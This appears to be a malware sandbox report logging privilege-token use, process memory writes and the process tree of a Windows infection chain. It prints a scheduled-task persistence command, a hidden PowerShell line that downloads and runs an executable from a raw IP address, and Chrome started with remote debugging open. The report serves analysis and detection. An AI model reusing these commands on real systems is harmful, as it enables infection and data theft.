N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\notepad.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\notepad.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4516 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\cmd.exe
PID 4516 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\cmd.exe
PID 4516 wrote to memory of 3952 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\cmd.exe
PID 4516 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\mshta.exe
PID 4516 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\mshta.exe
PID 4516 wrote to memory of 1064 N/A C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe C:\Windows\SysWOW64\mshta.exe
PID 3952 wrote to memory of 4316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3952 wrote to memory of 4316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3952 wrote to memory of 4316 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 1064 wrote to memory of 4204 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1064 wrote to memory of 4204 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1064 wrote to memory of 4204 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4204 wrote to memory of 2568 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE
PID 4204 wrote to memory of 2568 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE
PID 4204 wrote to memory of 2568 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE
PID 2568 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2568 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2568 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
PID 2584 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
PID 2584 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
PID 2584 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
PID 4092 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
PID 4092 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
PID 4092 wrote to memory of 3372 N/A C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
PID 2584 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe
PID 2584 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe
PID 2584 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe
PID 4508 wrote to memory of 3244 N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4508 wrote to memory of 3244 N/A C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 1988 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 1988 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3372 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
PID 3372 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
PID 3372 wrote to memory of 2472 N/A C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3244 wrote to memory of 2968 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe

"C:\Users\Admin\AppData\Local\Temp\7fca072b4b527dc77d56942313c4b33aeea3218343497694116a69b07fa1057d.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn CBCM4maaHAC /tr "mshta C:\Users\Admin\AppData\Local\Temp\9I5EaQyYA.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\9I5EaQyYA.hta

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn CBCM4maaHAC /tr "mshta C:\Users\Admin\AppData\Local\Temp\9I5EaQyYA.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'U7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE

"C:\Users\Admin\AppData\Local\TempU7SK1CJ9MR3UZNNEKT55QCVEWASGHVKC.EXE"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"

C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe

"C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe"

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

"C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"

C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe

"C:\Users\Admin\AppData\Local\Temp\10109440101\ILqcVeT.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcd12fcc40,0x7ffcd12fcc4c,0x7ffcd12fcc58

C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe

"C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1968,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1964 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1832,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2216 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2264,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2464 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3136,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3208 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3240 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4496,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4548 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4668,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4660 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

